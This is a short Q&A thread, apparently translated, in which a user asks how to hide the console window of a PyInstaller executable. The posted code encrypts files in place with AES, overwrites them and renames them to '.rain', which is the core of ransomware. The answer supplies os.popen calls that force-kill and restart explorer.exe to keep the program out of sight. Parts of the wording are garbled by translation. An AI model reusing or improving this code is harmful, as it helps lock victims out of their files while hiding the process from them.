Executable with Hidden console opening console

Question

I’m making a code that uses libraries a lot the and sys. When I was converting to executable (.exe) I used pyinstaller to hide the command prompt but still remains a prompt open during the long run of the program. After doing some tests I saw that these two libs actually open windows of the console and while the script is not finished they do not leave there. If anyone can help me identify.

def crypt(file):
    file_crypto = open(file,'rb')
    file_crypto = file_crypto.read()
    correct = file_crypto+b'#'*(16-len(file_crypto)%16)
    cifdata = aes.encrypt(correct)
    cifile = open(file,'wb')
    cifile.write(cifdata)
    cifile.close()
    os.rename(file,file+'.rain')

Answer 1

I suggest that edit/exchange the lines system for os.popen where:

import os
import time
# system('taskkill /f /im explorer.exe') # -> ficaria: 
os.popen('C:\\Windows\\system32\\taskkill.exe /f /im explorer.exe')
time.sleep(1.3)
#system('C:\\Windows\\explorer.exe') # -> ficaria: 
os.popen('C:\\Windows\\explorer.exe')

• Or

import os
import time
os.popen('C:\\Windows\\system32\\taskkill.exe /f /im explorer.exe')
time.sleep(1.3)
os.popen('C:\\Windows\\explorer.exe')
